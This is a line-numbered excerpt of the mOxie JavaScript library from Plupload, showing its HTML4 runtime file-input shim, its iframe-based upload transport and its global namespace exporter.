9286 return I.can('select_file') && (
9287 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
9288 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
9289 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9290 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
9291 );
9292 },
9293 upload_filesize: True,
9294 use_http_method: function(methods) {
9295 return !Basic.arrayDiff(methods, ['GET', 'POST']);
9296 }
9297 });
9298
9299
9300 Basic.extend(this, {
9301 init : function() {
9302 this.trigger("Init");
9303 },
9304
9305 destroy: (function(destroy) { // extend default destroy method
9306 return function() {
9307 destroy.call(I);
9308 destroy = I = null;
9309 };
9310 }(this.destroy))
9311 });
9312
9313 Basic.extend(this.getShim(), extensions);
9314 }
9315
9316 Runtime.addConstructor(type, Html4Runtime);
9317
9318 return extensions;
9319});
9320
9321// Included from: src/javascript/runtime/html4/file/FileInput.js
9322
9323/**
9324 * FileInput.js
9325 *
9326 * Copyright 2013, Moxiecode Systems AB
9327 * Released under GPL License.
9328 *
9329 * License: http://www.plupload.com/license
9330 * Contributing: http://www.plupload.com/contributing
9331 */
9332
9333/**
9334@class moxie/runtime/html4/file/FileInput
9335@private
9336*/
9337define("moxie/runtime/html4/file/FileInput", [
9338 "moxie/runtime/html4/Runtime",
9339 "moxie/file/File",
9340 "moxie/core/utils/Basic",
9341 "moxie/core/utils/Dom",
9342 "moxie/core/utils/Events",
9343 "moxie/core/utils/Mime",
9344 "moxie/core/utils/Env"
9345], function(extensions, File, Basic, Dom, Events, Mime, Env) {
9346
9347 function FileInput() {
9348 var _uid, _mimes = [], _options;
9349
9350 function addInput() {
9351 var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;
9352
9353 uid = Basic.guid('uid_');
9354
9355 shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE
9356
9357 if (_uid) { // move previous form out of the view
9358 currForm = Dom.get(_uid + '_form');
9359 if (currForm) {
9360 Basic.extend(currForm.style, { top: '100%' });
9361 }
9362 }
9363
9364 // build form in DOM, since innerHTML version not able to submit file for some reason
9365 form = document.createElement('form');
9366 form.setAttribute('id', uid + '_form');
9367 form.setAttribute('method', 'post');
9368 form.setAttribute('enctype', 'multipart/form-data');
9369 form.setAttribute('encoding', 'multipart/form-data');
9370
9371 Basic.extend(form.style, {
9372 overflow: 'hidden',
9373 position: 'absolute',
9374 top: 0,
9375 left: 0,
9376 width: '100%',
9377 height: '100%'
9378 });
9379
9380 input = document.createElement('input');
9381 input.setAttribute('id', uid);
9382 input.setAttribute('type', 'file');
9383 input.setAttribute('name', _options.name || 'Filedata');
9384 input.setAttribute('accept', _mimes.join(','));
9385
9386 Basic.extend(input.style, {
9387 fontSize: '999px',
9388 opacity: 0
9389 });
9390
9391 form.appendChild(input);
9392 shimContainer.appendChild(form);
9393
9394 // prepare file input to be placed underneath the browse_button element
9395 Basic.extend(input.style, {
9396 position: 'absolute',
9397 top: 0,
9398 left: 0,
9399 width: '100%',
9400 height: '100%'
9401 });
9402
9403 if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
9404 Basic.extend(input.style, {
9405 filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
9406 });
9407 }
9408
9409 input.onchange = function() { // there should be only one handler for this
9410 var file;
9411
9412 if (!this.value) {
9413 return;
9414 }
9415
9416 if (this.files) { // check if browser is fresh enough
9417 file = this.files[0];
9418
9419 // ignore empty files (IE10 for example hangs if you try to send them via XHR)
9420 if (file.size === 0) {
9421 form.parentNode.removeChild(form);
9422 return;
9423 }
9424 } else {
9425 file = {
9426 name: this.value
9427 };
9428 }
9429
9430 file = new File(I.uid, file);
9431
9432 // clear event handler
9433 this.onchange = function() {};
9434 addInput.call(comp);
9435
9436 comp.files = [file];
9437
9438 // substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
9439 input.setAttribute('id', file.uid);
9440 form.setAttribute('id', file.uid + '_form');
9441
9442 comp.trigger('change');
9443
9444 input = form = null;
9445 };
9446
9447
9448 // route click event to the input
9449 if (I.can('summon_file_dialog')) {
9450 browseButton = Dom.get(_options.browse_button);
9451 Events.removeEvent(browseButton, 'click', comp.uid);
9452 Events.addEvent(browseButton, 'click', function(e) {
9453 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
9454 input.click();
9455 }
9456 e.preventDefault();
9457 }, comp.uid);
9458 }
9459
9460 _uid = uid;
9461
9462 shimContainer = currForm = browseButton = null;
9463 }
9464
9465 Basic.extend(this, {
9466 init: function(options) {
9467 var comp = this, I = comp.getRuntime(), shimContainer;
9468
9469 // figure out accept string
9470 _options = options;
9471 _mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));
9472
9473 shimContainer = I.getShimContainer();
9474
9475 (function() {
9476 var browseButton, zIndex, top;
9477
9478 browseButton = Dom.get(options.browse_button);
9479
9480 // Route click event to the input[type=file] element for browsers that support such behavior
9481 if (I.can('summon_file_dialog')) {
9482 if (Dom.getStyle(browseButton, 'position') === 'static') {
9483 browseButton.style.position = 'relative';
9484 }
9485
9486 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
9487
9488 browseButton.style.zIndex = zIndex;
9489 shimContainer.style.zIndex = zIndex - 1;
9490 }
9491
9492 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
9493 browse_button loses interactivity, so we restore it here */
9494 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
9495
9496 Events.addEvent(top, 'mouseover', function() {
9497 comp.trigger('mouseenter');
9498 }, comp.uid);
9499
9500 Events.addEvent(top, 'mouseout', function() {
9501 comp.trigger('mouseleave');
9502 }, comp.uid);
9503
9504 Events.addEvent(top, 'mousedown', function() {
9505 comp.trigger('mousedown');
9506 }, comp.uid);
9507
9508 Events.addEvent(Dom.get(options.container), 'mouseup', function() {
9509 comp.trigger('mouseup');
9510 }, comp.uid);
9511
9512 browseButton = null;
9513 }());
9514
9515 addInput.call(this);
9516
9517 shimContainer = null;
9518
9519 // trigger ready event asynchronously
9520 comp.trigger({
9521 type: 'ready',
9522 async: true
9523 });
9524 },
9525
9526
9527 disable: function(state) {
9528 var input;
9529
9530 if ((input = Dom.get(_uid))) {
9531 input.disabled = !!state;
9532 }
9533 },
9534
9535 destroy: function() {
9536 var I = this.getRuntime()
9537 , shim = I.getShim()
9538 , shimContainer = I.getShimContainer()
9539 ;
9540
9541 Events.removeAllEvents(shimContainer, this.uid);
9542 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
9543 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
9544
9545 if (shimContainer) {
9546 shimContainer.innerHTML = '';
9547 }
9548
9549 shim.removeInstance(this.uid);
9550
9551 _uid = _mimes = _options = shimContainer = shim = null;
9552 }
9553 });
9554 }
9555
9556 return (extensions.FileInput = FileInput);
9557});
9558
9559// Included from: src/javascript/runtime/html4/file/FileReader.js
9560
9561/**
9562 * FileReader.js
9563 *
9564 * Copyright 2013, Moxiecode Systems AB
9565 * Released under GPL License.
9566 *
9567 * License: http://www.plupload.com/license
9568 * Contributing: http://www.plupload.com/contributing
9569 */
9570
9571/**
9572@class moxie/runtime/html4/file/FileReader
9573@private
9574*/
9575define("moxie/runtime/html4/file/FileReader", [
9576 "moxie/runtime/html4/Runtime",
9577 "moxie/runtime/html5/file/FileReader"
9578], function(extensions, FileReader) {
9579 return (extensions.FileReader = FileReader);
9580});
9581
9582// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js
9583
9584/**
9585 * XMLHttpRequest.js
9586 *
9587 * Copyright 2013, Moxiecode Systems AB
9588 * Released under GPL License.
9589 *
9590 * License: http://www.plupload.com/license
9591 * Contributing: http://www.plupload.com/contributing
9592 */
9593
9594/**
9595@class moxie/runtime/html4/xhr/XMLHttpRequest
9596@private
9597*/
9598define("moxie/runtime/html4/xhr/XMLHttpRequest", [
9599 "moxie/runtime/html4/Runtime",
9600 "moxie/core/utils/Basic",
9601 "moxie/core/utils/Dom",
9602 "moxie/core/utils/Url",
9603 "moxie/core/Exceptions",
9604 "moxie/core/utils/Events",
9605 "moxie/file/Blob",
9606 "moxie/xhr/FormData"
9607], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
9608
9609 function XMLHttpRequest() {
9610 var _status, _response, _iframe;
9611
9612 function cleanup(cb) {
9613 var target = this, uid, form, inputs, i, hasFile = false;
9614
9615 if (!_iframe) {
9616 return;
9617 }
9618
9619 uid = _iframe.id.replace(/_iframe$/, '');
9620
9621 form = Dom.get(uid + '_form');
9622 if (form) {
9623 inputs = form.getElementsByTagName('input');
9624 i = inputs.length;
9625
9626 while (i--) {
9627 switch (inputs[i].getAttribute('type')) {
9628 case 'hidden':
9629 inputs[i].parentNode.removeChild(inputs[i]);
9630 break;
9631 case 'file':
9632 hasFile = true; // flag the case for later
9633 break;
9634 }
9635 }
9636 inputs = [];
9637
9638 if (!hasFile) { // we need to keep the form for sake of possible retries
9639 form.parentNode.removeChild(form);
9640 }
9641 form = null;
9642 }
9643
9644 // without timeout, request is marked as canceled (in console)
9645 setTimeout(function() {
9646 Events.removeEvent(_iframe, 'load', target.uid);
9647 if (_iframe.parentNode) { // #382
9648 _iframe.parentNode.removeChild(_iframe);
9649 }
9650
9651 // check if shim container has any other children, if - not, remove it as well
9652 var shimContainer = target.getRuntime().getShimContainer();
9653 if (!shimContainer.children.length) {
9654 shimContainer.parentNode.removeChild(shimContainer);
9655 }
9656
9657 shimContainer = _iframe = null;
9658 cb();
9659 }, 1);
9660 }
9661
9662 Basic.extend(this, {
9663 send: function(meta, data) {
9664 var target = this, I = target.getRuntime(), uid, form, input, blob;
9665
9666 _status = _response = null;
9667
9668 function createIframe() {
9669 var container = I.getShimContainer() || document.body
9670 , temp = document.createElement('div')
9671 ;
9672
9673 // IE 6 won't be able to set the name using setAttribute or iframe.name
9674 temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>';
9675 _iframe = temp.firstChild;
9676 container.appendChild(_iframe);
9677
9678 /* _iframe.onreadystatechange = function() {
9679 console.info(_iframe.readyState);
9680 };*/
9681
9682 Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
9683 var el;
9684
9685 try {
9686 el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;
9687
9688 // try to detect some standard error pages
9689 if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
9690 _status = el.title.replace(/^(\d+).*$/, '$1');
9691 } else {
9692 _status = 200;
9693 // get result
9694 _response = Basic.trim(el.body.innerHTML);
9695
9696 // we need to fire these at least once
9697 target.trigger({
9698 type: 'progress',
9699 loaded: _response.length,
9700 total: _response.length
9701 });
9702
9703 if (blob) { // if we were uploading a file
9704 target.trigger({
9705 type: 'uploadprogress',
9706 loaded: blob.size || 1025,
9707 total: blob.size || 1025
9708 });
9709 }
9710 }
9711 } catch (ex) {
9712 if (Url.hasSameOrigin(meta.url)) {
9713 // if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
9714 // which obviously results to cross domain error (wtf?)
9715 _status = 404;
9716 } else {
9717 cleanup.call(target, function() {
9718 target.trigger('error');
9719 });
9720 return;
9721 }
9722 }
9723
9724 cleanup.call(target, function() {
9725 target.trigger('load');
9726 });
9727 }, target.uid);
9728 } // end createIframe
9729
9730 // prepare data to be sent and convert if required
9731 if (data instanceof FormData && data.hasBlob()) {
9732 blob = data.getBlob();
9733 uid = blob.uid;
9734 input = Dom.get(uid);
9735 form = Dom.get(uid + '_form');
9736 if (!form) {
9737 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
9738 }
9739 } else {
9740 uid = Basic.guid('uid_');
9741
9742 form = document.createElement('form');
9743 form.setAttribute('id', uid + '_form');
9744 form.setAttribute('method', meta.method);
9745 form.setAttribute('enctype', 'multipart/form-data');
9746 form.setAttribute('encoding', 'multipart/form-data');
9747
9748 I.getShimContainer().appendChild(form);
9749 }
9750
9751 // set upload target
9752 form.setAttribute('target', uid + '_iframe');
9753
9754 if (data instanceof FormData) {
9755 data.each(function(value, name) {
9756 if (value instanceof Blob) {
9757 if (input) {
9758 input.setAttribute('name', name);
9759 }
9760 } else {
9761 var hidden = document.createElement('input');
9762
9763 Basic.extend(hidden, {
9764 type : 'hidden',
9765 name : name,
9766 value : value
9767 });
9768
9769 // make sure that input[type="file"], if it's there, comes last
9770 if (input) {
9771 form.insertBefore(hidden, input);
9772 } else {
9773 form.appendChild(hidden);
9774 }
9775 }
9776 });
9777 }
9778
9779 // set destination url
9780 form.setAttribute("action", meta.url);
9781
9782 createIframe();
9783 form.submit();
9784 target.trigger('loadstart');
9785 },
9786
9787 getStatus: function() {
9788 return _status;
9789 },
9790
9791 getResponse: function(responseType) {
9792 if ('json' === responseType) {
9793 // strip off <pre>..</pre> tags that might be enclosing the response
9794 if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
9795 try {
9796 return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
9797 } catch (ex) {
9798 return null;
9799 }
9800 }
9801 } else if ('document' === responseType) {
9802
9803 }
9804 return _response;
9805 },
9806
9807 abort: function() {
9808 var target = this;
9809
9810 if (_iframe && _iframe.contentWindow) {
9811 if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
9812 _iframe.contentWindow.stop();
9813 } else if (_iframe.contentWindow.document.execCommand) { // IE
9814 _iframe.contentWindow.document.execCommand('Stop');
9815 } else {
9816 _iframe.src = "about:blank";
9817 }
9818 }
9819
9820 cleanup.call(this, function() {
9821 // target.dispatchEvent('readystatechange');
9822 target.dispatchEvent('abort');
9823 });
9824 }
9825 });
9826 }
9827
9828 return (extensions.XMLHttpRequest = XMLHttpRequest);
9829});
9830
9831// Included from: src/javascript/runtime/html4/image/Image.js
9832
9833/**
9834 * Image.js
9835 *
9836 * Copyright 2013, Moxiecode Systems AB
9837 * Released under GPL License.
9838 *
9839 * License: http://www.plupload.com/license
9840 * Contributing: http://www.plupload.com/contributing
9841 */
9842
9843/**
9844@class moxie/runtime/html4/image/Image
9845@private
9846*/
9847define("moxie/runtime/html4/image/Image", [
9848 "moxie/runtime/html4/Runtime",
9849 "moxie/runtime/html5/image/Image"
9850], function(extensions, Image) {
9851 return (extensions.Image = Image);
9852});
9853
9854expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
9855})(this);
9856/**
9857 * o.js
9858 *
9859 * Copyright 2013, Moxiecode Systems AB
9860 * Released under GPL License.
9861 *
9862 * License: http://www.plupload.com/license
9863 * Contributing: http://www.plupload.com/contributing
9864 */
9865
9866/*global moxie:true */
9867
9868/**
9869Globally exposed namespace with the most frequently used public classes and handy methods.
9870
9871@class o
9872@static
9873@private
9874*/
9875(function(exports) {
9876 "use strict";
9877
9878 var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;
9879
9880 // directly add some public classes
9881 // (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
9882 (function addAlias(ns) {
9883 var name, itemType;
9884 for (name in ns) {
9885 itemType = typeof(ns[name]);
9886 if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
9887 addAlias(ns[name]);
9888 } else if (itemType === 'function') {
9889 o[name] = ns[name];
9890 }
9891 }
9892 })(exports.moxie);
9893
9894 // add some manually
9895 o.Env = exports.moxie.core.utils.Env;
9896 o.Mime = exports.moxie.core.utils.Mime;
9897 o.Exceptions = exports.moxie.core.Exceptions;
9898
9899 // expose globally
9900 exports.mOxie = o;
9901 if (!exports.o) {
9902 exports.o = o;
9903 }
9904 return o;
9905})(this);
9906